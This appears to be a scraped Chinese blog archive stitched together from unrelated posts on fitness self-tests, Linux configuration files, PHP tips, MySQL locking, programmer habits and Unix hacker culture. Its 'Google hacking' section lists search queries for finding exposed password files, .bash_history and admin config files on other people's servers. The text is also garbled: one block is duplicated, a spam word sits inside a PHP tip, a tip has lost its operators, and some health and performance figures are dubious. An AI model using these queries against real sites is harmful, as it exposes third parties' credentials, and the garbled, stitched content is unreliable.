被测者双手自然下垂,紧贴大腿两侧,闭上眼睛,用一只脚站立,另一人看秒表。根据其单脚独立稳定不移动的时间,来判断老化程度。测定标准为:30~39岁男性为9.9秒;40~49岁男性为8.4秒;50~59岁男性为7.4秒;60~69岁男性为5.8秒。女性比男性推迟10岁计算。站立时间越长,老化程度越慢。未达标准者,你的生理年龄已经高于你的实际年龄了,需要保养身体,保持心情愉悦。

屏气VS肺

虽然一刻不停地仰仗肺来呼吸,但没有什么能比SARS突袭时更让人们意识到肺的重要。通过屏气的测试可以让你察觉你的肺是否健康。游泳的时候或者盆浴的时候,先深吸一口气,然后将头埋进水里,屏住呼吸,再慢慢吐出,看能维持多长时间,当然是越长越好。如果在30秒以上,就说明你的肺很健康;能达到1分钟,你的肺就十分强壮了。一个20岁左右的健康人,甚至可以持续屏气90~120秒,想提升肺的质量,可以在空气良好的环境里做深呼吸,并主动咳嗽,这样可以排出沉积在肺中的杂质。

爬楼梯VS体力

以5层楼为限,30岁左右的人,一步迈两层台阶,能快速登上5层楼,仍觉得轻松,说明健康状况良好;50岁左右的人应该能一级一级登上5层楼,中途不休息,不用借助扶手,没有明显的气喘现象,说明健康状况不错。不论哪个年龄阶段的人,如果气喘吁吁,心跳加速,说明体力较差;登上3楼就又累又喘,意味着身体虚弱,应加强锻炼。

腰臀比VS肥胖

女人最怕随着年龄的增长体重也增长起来,于是天天叫嚣着“减肥减肥”,殊不知最要命的不是肥胖,而是由此带来的心血管疾病。

世界卫生组织用腰臀比来衡量你是否肥胖。测量时放松站立,男性腰围和臀围的比例应小于0.8””女性则应小于0.7。根据美国运动医学学会推荐的标准,女性腰臀比在大于0.85时,就有发生心血管病的危险,应注意从饮食和运动上调理。

仰卧起坐VS妇科病

预防妇科疾病可以用锻炼腹肌的方法,最适宜的莫过于仰卧起坐,让肚皮下面的零件都跟着运动起来。30岁以下,仰卧起坐的最佳成绩应为45~50个/分钟;30岁最好做到40~45个/分钟;40岁应做到35个左右/分钟;50岁应努力达到25~30个/分钟。

腰腹肌力量的加强对女人可以说有百利而无一害,除了塑造身材、预防盆腔炎等各种妇科疾病,还可以提升性生活质量。

linux常用配置文件说明

1。/etc/init.d/
系统启动时,默认启动的服务(好像是这样)。这个目录相当于/etc/rc.d/init.d/目录下的。

2。/etc/inittab
# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now
把这一行注掉就不能用ctrl+alt+delete重启机器了。

id:5:initdefault:
系统默认启动级别,5为图形,想改为consol则为3
init 0 关机, init 6 重启

# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
这是系统启动时,开启的几个控制台,可以在前面注掉以节省资源
init q重新加载inittab配置

3。/etc/hosts,/etc/host.conf
hosts 配置ip对应主机名,比如: 10.192.77.53    yuyink
host.conf 配置系统到哪个文件中查找主机名信息,一般都指定先查找hosts

4。/etc/passwd
用户信息

5。/etc/group
组信息

6. /etc/resolv.conf
名字服务器ip

7。/etc/issue   /etc/issue.net
用来向从终端(issue)或通过 telnet 会话(issue.net)连接的用户显示一个“welcome”字符串

8。/etc/rc.d目录下
/etc/rc.d/rc.sysinit 通常是所有级别第一个运行的脚本
/etc/rc.d/rc 通常是所有级别运行的脚本
/etc/rc.d/rc.local 非正式的,可以从rc.sysinit, rc, /etc/inittab调用
etc/rc.d/rc/rcX.d X是一个数字,表示不同运行级别时启动的脚本 比如init 3  会启动 rc3.d目录下的东西
rcX.d目录下文件以S, K 开始。启动时按S*的顺序启动,关闭时按K*杀进程。

list函数

list — Assign variables as if they were an array
Notelist() only works on numerical arrays and assumes the numerical indices start at 0.
list 会将数组分解,只对索引为数字的数组有效。
1>下例将演示仅对数字索引有效的例子
$arr = Array(“a”=>Array(“1″,”2″),”b”);
list($i,$j)=$arr;
var_dump($i);//string(1) “b”
var_dump($j);//null
2>当这个数组有多个成员,而list只取前面相应的成员
$a = Array ( 0 => Array ( uid => 4,pid => 26 ),
1 => Array ( uid => 1, pid => 26),
2 => Array ( uid => 2, pid => 26)) ;
list($t,$x) = $a;
var_dump($t);//array(2) {["uid"]=>int(4)
["pid"]=>int(26)}
var_dump($x);//array(2) {["uid"]=>int(1)
["pid"]=>int(26)}
3>在Typo3中多见这种写法,只取数组的第一个成员
$a = Array ( 0 => Array ( uid => 4,pid => 26 ),
1 => Array ( uid => 1, pid => 26),
2 => Array ( uid => 2, pid => 26)) ;
list($t,$x) = each($a);
var_dump($t);//int(0)
var_dump($x);//array(2) {["uid"]=>int(4)
["pid"]=>int(26)}
###第三种用法让我想到foreach,foreach直接处理了数组.与foreach等价的处理方法如下:
while(list($key,$value)=each($array)){
command;
}

google hacking技术(一)

一.Google Hacking背景:

Google 是全球功能最强大的搜索引擎之一。伴随其强大的功能产生了利用Google 进行的黑客活动——Google Hacking。其攻击范围相当广,包括:国防军事、企业密函、个人财产和安全等等。不怀好意的黑客们往往利用Google去寻找有漏洞的服务器和文件、口令记录、公开的目录、基于网络的设备管理台等等。由此可见,Google hacking 的巨大的威胁性以及研究的必要性。

1995年Johnny Long开始研究利用Google来测试网站和电脑的安全隐患,由此而发展了Google hacking,他建立的 http://johnny.ihackstuff.com/ 现今成为Google Hacking Data-base。2004年 Robert Masse 和 Jian Hui Wang全面分析了Google hacking的四大应用,同时给出利用相关工具的例证和防范Google hacking的方法。目前相关的研究报告各自有侧重点,没能够很好的从整体角度来全面的分析Google hacking的产生原因,总体归纳出高级攻击方式和攻击规律,系统的介绍相关应用软件以及防范Google hacking的具体实例。本文将就此利用相关实例具体说明。

二.Google Hacking 的常见方式:

1. 基本搜索方式

Google提供了强大的搜索功能:

常用的基本搜索指令有:

(1)逻辑与/或:AND、OR

(2)逻辑非:-

(3)完整匹配:”…”

(4)通配符:* ?

2、高级搜索指令

Google高级预定义搜索语法如下:

intitle:

表示搜索在网页标题中出现第一个关键词的网页。例如“intitle:黑客技术 ”将返回在标题中出现“黑客技术 ”的所有链接。 用“allintitle: 黑客技术 Google”则会返回网页标题中同时含有 “黑客技术” 和 “Google” 的链接。

intext:返回网页的文本中出现关键词的网页。用allintext:搜索多个关键字。

inurl:返回的网页链接中包含第一个关键字的网页。

site:在某个限定的网站中搜索。

filetype:搜索特定扩展名的文件(如.doc .pdf .ppt)。黑客们往往会关注特定的文件,例如:.pwl口令文件、.tmp临时文件、.cfg配置文件、.ini系统文件、.hlp帮助文件、.dat数据文件、.log日志文件、.par交换文件等等。

link:表示返回所有链接到某个地址的网页。

related:返回连接到类似于指定网站的网页。

cache:搜索Google缓存中的网页。

info:表示搜索网站的摘要。例如“info:whu.edu.cn”仅得到一个结果:

phonebook: 搜索电话号码簿,将会返回美国街道地址和电话号码列表,这无疑给挖掘个人信息的黑客带来极大的便利。

同时还可以得到住宅的全面信息,

结合Google earth将会得到更详细的信息。相应的还有更小的分类搜索:rphonebook:仅搜索住宅用户电话号码簿;bphonebook:仅搜索商业的电话号码簿。

另外,还有一些不常用的搜索指令。列表如下:(此列表转载自网络)

author:搜索新闻组帖子的作者。

google hacking技术(二)

group:搜索Google组搜索词汇帖子的题目。

msgid:搜索识别新闻组帖子的Google组信息标识符和字符串。

insubject:搜索Google组的标题行。

stocks:搜索有关一家公司的股票市场信息。

define:返回一个搜索词汇的定义。

inanchor:搜索一个HTML标记中的一个链接的文本表现形式。

daterange:搜索某个日期范围内Google做索引的网页。

3. Google hacking常见的攻击规律

Google hacking主要是发现那些 公告文件,安全漏洞,错误信息, 口令文件, 用户文件, 演示页面,登录页面, 安全文件, 敏感目录,商业信息,漏洞主机, 网站服务器检测等信息。攻击规律有:

A.利用“Index of”语法检索出站点的活动索引目录

Index 就是主页服务器所进行操作的一个索引目录。黑客们常利用目录获取密码文件和其他安全文件。常用的攻击语法如下:

Index of /admin 可以挖掘到安全意识不强的管理员的机密文件:

黑客往往可以快速地提取他所要的信息。其他Index of 语法列表如下:(此列表为转载)

Index of /passwd

Index of /password

Index of /mail

“Index of /” +passwd

“Index of /” +password.txt

“Index of /” +.htaccess

“Index of /secret”

“Index of /confidential”

“Index of /root”

“Index of /cgi-bin”

“Index of /credit-card”

“Index of /logs”

“Index of /config”

B、利用“inurl:”寻找易攻击的站点和服务器

(1)利用“allinurl:winnt/system32/”寻找受限目录“system32”,一旦具备 cmd.exe 执行权限,就可以控制远程的服务器。

(2)利用“allinurl:wwwboard/passwd.txt”搜寻易受攻击的服务器。

(3)利用“inurl:.bash_history”搜寻服务器的“.bash_history”文件。这个文件包括超级管理员的执行命令,甚至一些敏感信息,如管理员口令序列等。例如:

(4)利用“inurl:config.txt”搜寻服务器的“config.txt”文件,这个文件包括管理员密码和数据认证签名的hash值。

(5)其他语法的搜索。(如下分类为转载)

inurl:admin filetype:txt

inurl:admin filetype:db

inurl:admin filetype:cfg

inurl:mysql filetype:cfg

inurl:passwd filetype:txt

inurl:iisadmin

allinurl:/scripts/cart32.exe

allinurl:/CuteNews/show_archives.php

allinurl:/phpinfo.php

allinurl:/privmsg.php

一个PHP程序员的价值

PHP 程序员 拥有不同的体型、大小及肤色。有不同的学历,而有些高中时就辍学了。但哪些才 是PHP程序员的真正价值呢?? 他们富于冒险?我们应该怎样来看待PHP程序员呢?

多年来,我接触过来自于不同背景的PHP程序员。我看到有些人 做的非常好,而有些只能望其项背。PHP 程序员的另一项非常显著的特征是,他们平常的节目质量要远远强于其他类型的程序员。

还是让我们更深入探讨他们吧…
PHP 程序员的一些品质
那些品质是最有价值的呢?

  1. 编写 PHP 的代码很出色.
  2. 编写 PHP 代码 的速度很快.
  3. 可信 赖性及可靠性.
  4. 经验丰富.
  5. 带来效益(Being profitable).
  6. 良好的沟通.
  7. 谦 虚,而不是傲慢.
  8. 善于理解复杂的系统、有一套方法学.
  9. 管理项目和团队成员.
  10. 准确地估计项目时间.

下面是我对上述项目的看法…

并不重要一些 PHP 程序员的品质
#1. 编写 PHP 的代码很出色.
#2. 编写 PHP 代码 的速度很快.
#4. 经验丰富.
#8. 善于理解复杂的系统、有一套方法学.

人人都应该有的品质e
#3. 可信赖性及可靠性.
#5. 带来效益.
#6. 良好的沟通.
#7. 谦虚,而不是傲慢.
#10. 准确地估计项目时间.

PHP 程序员外在的一些特征
#9. 管理项目和团队成员.

但是 Chris….为什么呢?
既然这些 PHP 程序员 都是合乎逻辑的, 那就让我们从逻辑的角度来看看吧. 看一下以下的 PHP 程序员:

PHP 程序员 1号
- 大学学历
- 很聪明
- 经验很少
- 傲慢自大
- 可以编写非常复杂代码.
- 糟糕的沟通能力及人际关系.

PHP 程序员 2号
- 经验非常丰富
- 很聪明
- 傲慢自大
- 每个3个月变化一次工作.
- 可以编写非常复杂代码.
- 有沟通技巧以致工作便利.
- 编写代码速度很快.
- 对他们感兴趣的工作是个工作狂…否则,则是难以专注地工作.

PHP 程序员 3号
- 大学辍学学生.
- 一点经验.
- 是个很好的员工.
- 可靠的.
- 乐意接受批评.
- 超出能力范围之外的错误不会一次又一次地发生.
- 密切关注自己的言行举止并能准确地预估自己的时间.

您会雇佣哪种程序员呢?您的团队中又都有哪些类型呢?

3号PHP 程序员 可能不会编写非常复杂的代码,当然,也可能不会快速编写PHP代码,但他比其他的程序员更有发展潜质。2号PHP 程序员 如果能够定下心来,那么也将是一个很好的员工,即使目前的项目并不是那么令人兴奋。1号PHP 程序员 同样也很有潜质,拥有更多的核心编程技术知识,如果认为他是“没有价值”的,其实大学学历就是他最好的说明。

当我看到某些 PHP 程序员 并不是很成功的(意思是…他们在工作中一贯都有问题,或一直在不断地变换工作), 他们通常都是由每个人本都应该具备的特征导致的,如: 可靠程度, 信任, 时间管理, 沟通, 努力工作, 幽默及从错误中学习。

不要误会我的意思…能够编写复杂的PHP代码及快速编写代码自然是件好事,但都并不是价值所在,如果您是个混蛋、傲慢自大 或烂透了的沟通能力。

我也思考不少业主所认同的观点:每个PHP 程序员都应该是一个项目经理。这个观念其实是不正确的,因为大多数的PHP 程序员都是属于“程序员类型”的,并不是所有的都能够跟顾客作很好的沟通。这有点像让您10岁的女人如何去跟一位客户去沟通…这并不值得去冒险。话虽这么 说,但也是有例外的。个人而言,作为一个PHP 程序员我都在运用自己的 项目管理 来充当糖衣增加能力。

务必牢记,无论何时何地我们都有可以改进的。

php代码40个多种优化的技巧

在互联网上同PHP编程高手交流得出以下php代码40个多种优化的技巧:
1.如果一个方法能被静态,那就声明他为静态的,速度可提高1/4;
2.echo的效率高于print,因为echo没有返回值,print返回一个整型;
3.在循环之前设置循环的最大次数,而非在在循环中;
4.销毁变量去释放内存,特别是大的数组;
5.避免使用像__get, __set, __autoload等魔术方法;
6.requiere_once()比较耗资源;
7.在includes和requires中使用绝对路径,这样在分析路径花的时间更少;
8.如果你需要得sexinsex到脚本执行时的时间,$_SERVER['REQUSET_TIME']优于time();
9.能使用字符处理函数的,尽量用他们,因为效率高于正则;
10.str_replace字符替换比正则替换preg_replace快,但strtr比str_replace又快1/4;
11.如果一个函数既能接受数组又能接受简单字符做为参数,例如字符替换,并且参数列表不是太长,可以考虑多用一些简洁的替换语句,一次只替换一个字符,而不是接受数组做为查找和替换参数。大事化小,1 1>2;
12.用@掩盖错误会降低脚本运行速度;
13.$row['id']比$row[id]速度快7倍,建议养成数组键加引号的习惯;
14.错误信息很有用;
15.在循环里别用函数,例如For($x=0; $x < count($array); $x), count()函数在外面先计算;
16.在方法里建立局部变量速度最快,几乎和在方法里调用局部变量一样快;
17.建立一个全局变量要比局部变量要慢2倍;
18.建立一个对象属性(类里面的变量)例如($this->prop )比局部变量要慢3倍;
19.建立一个未声明的局部变量要比一个初始化的局部变量慢9-10倍;
20.声明一个未被任何一个函数使用过的全局变量也会使性能降低(和声明相同数量的局部变量一样),PHP可能去检查这个全局变量是否存在;
21.方法的性能和在一个类里面定义的方法的数目没有关系,因为我添加10个或多个方法到测试的类里面(这些方法在测试方法的前后)后性能没什么差异;
22.在子类里方法的性能优于在基类中;
23.只调用一个参数并且函数体为空的函数运行花费的时间等于7-8次$localvar 运算,而一个类似的方法(类里的函数)运行等于大约15次$localvar 运算;
24.Surrounding your string by ‘ instead of ” will make things interpret a little faster since php looks for variables inside “…” but not inside ‘…’. Of course you can only do this when you don’t need to have variables in the string.
25.当输出字符串时用逗号代替点分割更快些。注意:这只对echo起作用,这个函数能接受一些字符串作为参数;
26.在apache服务器里一个php脚本页面比相应的HTML静态页面生成至少要多花2-10倍的时间,建议多用些静态HTML页面和少量的脚步;
27.除非你的安装了缓存,不然你的php脚本每次被访问都需要被重编译。建议安装个php缓存程序,这样通过去除一些重复的编译来很明显的提高你20-100%的性能;
28.建议用memcached,高性能的分布式内存对象缓存系统,提高动态网络应用程序性能,减轻数据库的负担;
29.使用ip2long()和long2ip()函数把IP地址转成整型存放进数据库而非字符型。这几乎能降低1/4的存储空间。同时可以很容易对地址进行排序和快速查找;
30.使用checkdnsrr()通过域名存在性来确认部分email地址的有效性,这个内置函数能保证每一个的域名对应一个IP地址;
31.如果你在使用php5和mysql4.1以上的版本,考虑使用mysql_*的改良函数mysqli_*;
32.试着喜欢使用三元运算符(?:);
33.在你想在彻底重做你的项目前,看看PEAR有没有你需要的。PEAR是个巨大的资源库,很多php开发者都知道;
34.使用highlight_file()能自动打印一份很好格式化的页面源代码的副本;
35.使用error_reporting(0)函数来预防潜在的敏感信息显示给用户。理想的错误报告应该被完全禁用在php.ini文件里。可是如果你在用一个共享的虚拟主机,php.ini你不能修改,那么你最好添加error_reporting(0)函数,放在每个脚本文件的第一行(或用require_once()来加载)这能有效的保护敏感的SQL查询和路径在出错时不被显示;
36.使用 gzcompress() 和gzuncompress()对容量大的字符串进行压缩(解压)在存进(取出)数据库时。这种内置的函数使用gzip算法能压缩到90%;
37.通过参数变量地址得引用来使一个函数有多个返回值。你可以在变量前加个“&”来表示按地址传递而非按值传递;
38.Fully understand “magic quotes” and the dangers of SQL injection. I’m hoping that most developers reading this are already familiar with SQL injection. However, I list it here because it’s absolutely critical to understand. If you’ve never heard the term before, spend the entire rest of the day googling and reading.
39.使用strlen()因为要调用一些其他操作例如lowercase和hash表查询所以速度不是太好,我们可以用isset()来实现相似的功能,isset()速度优于strlen();
40.When incrementing or decrementing the value of the variable $i happens to be a tad slower then $i. This is something PHP specific and does not apply to other languages, so don’t go modifying your C or Java code thinking it’ll suddenly become faster, it won’t. $i happens to be faster in PHP because instead of 4 opcodes used for $i you only need 3. Post incrementation actually causes in the creation of a temporary var that is then incremented. While pre-incrementation increases the original value directly. This is one of the optimization that opcode optimized like Zend’s PHP optimizer. It is a still a good idea to keep in mind since not all opcode optimizers perform this optimization and there are plenty of ISPs and servers running without an opcode optimizer.

php代码40个多种优化的技巧在互联网上同PHP编程高手交流得出以下php代码40个多种优化的技巧:1.如果一个方法能被静态,那就声明他为静态的,速度可提高1/4;2.echo的效率高于print,因为echo没有返回值,print返回一个整型;3.在循环之前设置循环的最大次数,而非在在循环中;4.销毁变量去释放内存,特别是大的数组;5.避免使用像__get, __set, __autoload等魔术方法;6.requiere_once()比较耗资源;7.在includes和requires中使用绝对路径,这样在分析路径花的时间更少;8.如果你需要得sexinsex到脚本执行时的时间,$_SERVER['REQUSET_TIME']优于time();9.能使用字符处理函数的,尽量用他们,因为效率高于正则;10.str_replace字符替换比正则替换preg_replace快,但strtr比str_replace又快1/4;11.如果一个函数既能接受数组又能接受简单字符做为参数,例如字符替换,并且参数列表不是太长,可以考虑多用一些简洁的替换语句,一次只替换一个字符,而不是接受数组做为查找和替换参数。大事化小,1 1>2;12.用@掩盖错误会降低脚本运行速度;13.$row['id']比$row[id]速度快7倍,建议养成数组键加引号的习惯;14.错误信息很有用;15.在循环里别用函数,例如For($x=0; $x < count($array); $x), count()函数在外面先计算;16.在方法里建立局部变量速度最快,几乎和在方法里调用局部变量一样快;17.建立一个全局变量要比局部变量要慢2倍;18.建立一个对象属性(类里面的变量)例如($this->prop )比局部变量要慢3倍;19.建立一个未声明的局部变量要比一个初始化的局部变量慢9-10倍;20.声明一个未被任何一个函数使用过的全局变量也会使性能降低(和声明相同数量的局部变量一样),PHP可能去检查这个全局变量是否存在;21.方法的性能和在一个类里面定义的方法的数目没有关系,因为我添加10个或多个方法到测试的类里面(这些方法在测试方法的前后)后性能没什么差异;22.在子类里方法的性能优于在基类中;23.只调用一个参数并且函数体为空的函数运行花费的时间等于7-8次$localvar 运算,而一个类似的方法(类里的函数)运行等于大约15次$localvar 运算;24.Surrounding your string by ‘ instead of ” will make things interpret a little faster since php looks for variables inside “…” but not inside ‘…’. Of course you can only do this when you don’t need to have variables in the string.25.当输出字符串时用逗号代替点分割更快些。注意:这只对echo起作用,这个函数能接受一些字符串作为参数;26.在apache服务器里一个php脚本页面比相应的HTML静态页面生成至少要多花2-10倍的时间,建议多用些静态HTML页面和少量的脚步;27.除非你的安装了缓存,不然你的php脚本每次被访问都需要被重编译。建议安装个php缓存程序,这样通过去除一些重复的编译来很明显的提高你20-100%的性能;28.建议用memcached,高性能的分布式内存对象缓存系统,提高动态网络应用程序性能,减轻数据库的负担;29.使用ip2long()和long2ip()函数把IP地址转成整型存放进数据库而非字符型。这几乎能降低1/4的存储空间。同时可以很容易对地址进行排序和快速查找;30.使用checkdnsrr()通过域名存在性来确认部分email地址的有效性,这个内置函数能保证每一个的域名对应一个IP地址;31.如果你在使用php5和mysql4.1以上的版本,考虑使用mysql_*的改良函数mysqli_*;32.试着喜欢使用三元运算符(?:);33.在你想在彻底重做你的项目前,看看PEAR有没有你需要的。PEAR是个巨大的资源库,很多php开发者都知道;34.使用highlight_file()能自动打印一份很好格式化的页面源代码的副本;35.使用error_reporting(0)函数来预防潜在的敏感信息显示给用户。理想的错误报告应该被完全禁用在php.ini文件里。可是如果你在用一个共享的虚拟主机,php.ini你不能修改,那么你最好添加error_reporting(0)函数,放在每个脚本文件的第一行(或用require_once()来加载)这能有效的保护敏感的SQL查询和路径在出错时不被显示;36.使用 gzcompress() 和gzuncompress()对容量大的字符串进行压缩(解压)在存进(取出)数据库时。这种内置的函数使用gzip算法能压缩到90%;37.通过参数变量地址得引用来使一个函数有多个返回值。你可以在变量前加个“&”来表示按地址传递而非按值传递;38.Fully understand “magic quotes” and the dangers of SQL injection. I’m hoping that most developers reading this are already familiar with SQL injection. However, I list it here because it’s absolutely critical to understand. If you’ve never heard the term before, spend the entire rest of the day googling and reading.39.使用strlen()因为要调用一些其他操作例如lowercase和hash表查询所以速度不是太好,我们可以用isset()来实现相似的功能,isset()速度优于strlen();40.When incrementing or decrementing the value of the variable $i happens to be a tad slower then $i. This is something PHP specific and does not apply to other languages, so don’t go modifying your C or Java code thinking it’ll suddenly become faster, it won’t. $i happens to be faster in PHP because instead of 4 opcodes used for $i you only need 3. Post incrementation actually causes in the creation of a temporary var that is then incremented. While pre-incrementation increases the original value directly. This is one of the optimization that opcode optimized like Zend’s PHP optimizer. It is a still a good idea to keep in mind since not all opcode optimizers perform this optimization and there are plenty of ISPs and servers running without an opcode optimizer.

高效程序员的45个良好习惯

态度篇

1. 做实事

不要抱怨,发牢骚,指责他人,找出问题所在,想办法解决。对问题和错误,要勇于承担。

2. 欲速则不达

用小聪明、权宜之计解决问题,求快而不顾代码质量,会给项目留下要命的死角。
3. 对事不对人

就事论事,明智、真诚、虚心地讨论问题,提出创新方案。

4. 排除万难,奋勇前进

勇气往往是克服困难的唯一方法。

学习篇

5. 跟踪变化

新技术层出不穷并不可怕。坚持学习新技术,读书,读技术杂志,参加技术活动,与人交流。要多理解新词背后的所以然,把握技术大趋势,将新技术用于产品开发要谨慎。

6. 对团队投资

打造学习型团队,不断提高兄弟们的平均水平。

7. 懂得丢弃

老的套路和技术,该丢,就得丢。不要固步自封。

8. 打破砂锅问到底

不断追问,真正搞懂问题的本质。为什么?应该成为你的口头禅。

9. 把握开发节奏

控制好时间,养成好习惯,不要加班。

开发流程篇

10. 让客户做决定

让用户在现场,倾听他们的声音,对业务最重要的决策应该让他们说了算。

11. 让设计指导而不是操纵开发

设计是前进的地图,它指引的是方向,而不是目的本身。设计的详略程度应该适当。

12. 合理地使用技术

根据需要而不是其他因素选择技术。对各种技术方案进行严格地追问,真诚面对各种问题。

13. 让应用随时都可以发布

通过善用持续集成和版本管理,你应该随时都能够编译、运行甚至部署应用。

14. 提早集成,频繁集成

集成有风险,要尽早尽量多地集成。

15. 提早实现自动化部署

16. 使用演示获得频繁反馈

17. 使用短迭代,增量发布

18. 固定价格就意味着背叛承诺

估算应该基于实际的工作不断变化。

用户篇

19. 守护天使

自动化单元测试是你的守护天使。

20. 先用它再实现它

测试驱动开发其实是一种设计工具。

21. 不同环境,就有不同问题

要重视多平台问题。

22. 自动验收测试

23. 度量真实的进度

在工作量估算上,不要自欺欺人。

24. 倾听用户的声音

每一声抱怨都隐藏着宝贵的真理。

编程篇

25. 代码要清晰地表达意图。

代码是给人读的,不要耍小聪明。

26. 用代码沟通

注释的艺术。

27. 动态地进行取舍。

记住,没有最佳解决方案。各种目标不可能面面俱到,关注对用户重要的需求。

28. 增量式编程

写一点代码就构建、测试、重构、休息。让代码干净利落。

29. 尽量简单

宁简勿繁。如果没有充足的理由,就不要使用什么模式、原则和特别的技术。

30. 编写内聚的代码

类和组件应该足够小,任务单一。

31. 告知,不要询问

多用消息传递,少用函数调用。

32. 根据契约进行替换

委托往往优于继承。

调试篇

33. 记录问题解决日志。

不要在同一地方摔倒两次。错误是最宝贵的财富。

34. 警告就是错误

忽视编译器的警告可能铸成大错。

35. 对问题各个击破。

分而治之是计算机科学中最重要的思想之一。但是,要从设计和原型阶段就考虑各部分应该能够很好地分离。

36. 报告所有的异常

37. 提供有用的错误信息。

稍微多花一点心思,出错的时候,将给你带来极大便利。

团队协作篇

38. 定期安排会面时间

常开会,开短会。

39. 架构师必须写代码。

不写代码的架构师不是好架构师。好的设计都来自实际编程。编程可以带来深入的理解。

40. 实行代码集体所有制

让开发人员在系统不同区域中不同的模块和任务之间轮岗。

41. 成为指导者

教学相长。分享能提高团队的总体能力。

42. 让大家自己想办法。

指引方向,而不是直接提供解决方案。让每个人都有机会在干中学习。

43. 准备好后再共享代码

不要提交无法编译或者没有通过单元测试的代码!

44. 做代码复查

复查对提高代码质量、减少错误极为重要。

45. 及时通报进展与问题。

主动通报,不要让别人来问你。

MySQL数据库锁机制的相关原理简介

不同于行级或页级锁定的选项:

· 版本(例如,为并行的插入在MySQL中使用的技术),其中可以一个写操作,同时有许多读取操作。这明数据库或表支持数据依赖的不同视图,取决于访问何时开始。其它共同的术语是“时间跟踪”、“写复制”或者“按需复制”。

· 按需复制在许多情况下优先于页级或行级锁定。然而,在最坏的情况下,它可能比使用常规锁定使用多的内存。

· 除了行级锁定外,你可以使用应用程序级锁定,例如在MySQL中使用GET_LOCK()和RELEASE_LOCK()。这些是建议性锁定,它们只能在运行良好的应用程序中工作。

为达到最高锁定速度,除InnoDB 和BDB 之外,对所有存储引擎,MySQL使用表锁定(而不是页、行或者列锁定)。对于InnoDB 和BDB 表,如果你用LOCK TABLES显式锁定表,MySQL只使用表锁定;如果你不使用LOCK TABLES,因为 InnoDB 使用自动行级锁定而BDB 使用页级锁定来保证事务隔离。

但是对于大表,对于大多数应用程序,表锁定比行锁定更好,但存在部分缺陷。表锁定使许多线程同时从一个表中进行读取操作,但如果一个线程想要对表进行写操作,它必须首先获得独占访问。更新期间,所有其它想要访问该表的线程必须等待直到更新完成。

表更新通常情况认为比表检索更重要,因此给予它们更高的优先级。这应确保更新一个表的活动不能“饿死”,即使该表上有很繁重的SELECT 活动。

表锁定在这种情况下会造成问题,例如当线程正等待,因为硬盘已满并且在线程可以处理之前必须有空闲空间。在这种情况下,所有想要访问出现问题的表的线程也被设置成等待状态,直到有更多的硬盘空间可用。

表锁定在下面的情况下也存在问题:

· 一个客户发出长时间运行的查询。

· 然后,另一个客户对同一个表进行更新。该客户必须等待直到SELECT完成。

· 另一个客户对同一个表上发出了另一个 SELECT 语句。因为UPDATE比 SELECT 优先级高,该SELECT 语句等待UPDATE完成,并且等待第1个 SELECT 完成。

下面描述了一些方法来避免或减少表锁定造成的竞争:

· 试图使 SELECT 语句运行得更快。可能必须创建一些摘要(summary)表做到这点。

· 用–low-priority-updates启动mysqld。这将给所有更新(修改)一个表的语句以比SELECT语句低的优先级。在这种情况下,在先前情形的第2个SELECT语句将在UPDATE语句前执行,而不需要等候第1个 SELECT 完成。

· 可以使用SET LOW_PRIORITY_UPDATES=1语句指定具体连接中的所有更新应使用低优先级。

· 可以用LOW_PRIORITY属性给与一个特定的INSERT、UPDATE或DELETE语句较低优先级。

· 可以用HIGH_PRIORITY属性给与一个特定的SELECT语句较高优先级。

· 为max_write_lock_count系统变量指定一个低值来启动mysqld来强制MySQL在具体数量的插入完成后临时提高所有等待一个表的SELECT 语句的优先级。这样允许在一定数量的WRITE锁定后给出READ锁定。

· 如果你有关于INSERT结合SELECT的问题,切换到使用新的MyISAM表,因为它们支持并发的SELECT和INSERT。

· 如果你对同一个表混合插入和删除,INSERT DELAYED将会有很大的帮助。

· 如果你对同一个表混合使用 SELECT 和DELETE 语句出现问题,DELETE 的LIMIT 选项可以有所帮助。

· 对 SELECT 语句使用SQL_BUFFER_RESULT可以帮助使表锁定时间变短。

· 可以更改mysys/thr_lock.c中的锁代码以使用单一的队列。在这种情况下,写锁定和读锁定将具有相同的优先级,对一些应用程序会有帮助。

这里是一些MySQL中表锁定相关的技巧:

· 如果不混合更新与需要在同一个表中检查许多行的选择,可以进行并行操作。

· 可以使用 LOCK TABLES 来提高速度,因为在一个锁定中进行许多更新比没有锁定的更新要快得多。将表中的内容切分为几个表也可以有所帮助。

· 如果在MySQL中表锁定时遇到速度问题,可以将表转换为 InnoDB 或BDB 表来提高性能。

Unix——真正的黑客是门艺术

Unix——真正的黑客是门艺术

——————————————————————

黑客这个词从诞生到现在,从来就没有解释为“高级入侵者”、“病毒制造者”或者“QQ盗号者”过。我至今不清楚在中国是谁先把黑客和这些无聊的词汇联系在了一起,导致如此多的人被误导。但有一点是肯定的,不负责任的媒体一直侮辱这两个字。 那个写熊猫烧什么来着的叫什么来着的也叫黑客?太可笑了。他做鬼也当不了黑客。请分清这两个词,hacker & cracker,别去研究他们的中文翻译。 不花力气多解释,不懂黑客是什么意思的人终究不懂,我的这篇文章也不是呼吁那些垃圾更正他们的思想(请不懂的人关闭网页窗口),而是写给那些真正怀揣着黑客梦想的人看的。 首先,有这样的梦想的人出于两种目的(不可能有第三种),真心喜欢计算机技术的,和为了炫耀的。(后者请关闭这个网页窗口) 就像我前面所说的,黑客不一定要写病毒,不一定要入侵,更不会无聊到盗号。可能你会笑了,黑客不入侵相当于陈水扁不搞台独。其实这是错误的(我不是指阿扁会放弃搞台独),请各位去查看黑客这个词在20世纪60以及70年代的解释。“热爱探索问题,解决问题的一批人”,“热爱编出精妙程序的人”。黑客根本不是一种技术境界,而是思想境界,它是一种文化,是一种精神(我把它理解为生活方式,就像hip-hop一样),是一门艺术。 我是因为喜欢黑客技术才接触Linux的,却发现更多的国人热衷于在盗版的Windows下用着别人写出来的软件扫什么端口,查什么漏洞,入侵什么网,会按以上这些按钮后,大肆炫耀一番。这些人普遍智力水平低下(对不起,黑客技术到最后就是拼智力),只会用右手[注1]。Windows从来就是被攻击的目标系统,而不是攻击者应该使用的系统,更不会是黑客的玩具。那么什么才是呢? Unix 不知道中国那么多会写病毒,会入侵的人了解、知道甚至听说过这个东西。Unix一整套的设计理念以及哲学还有发展史就代表着黑客这两个词。 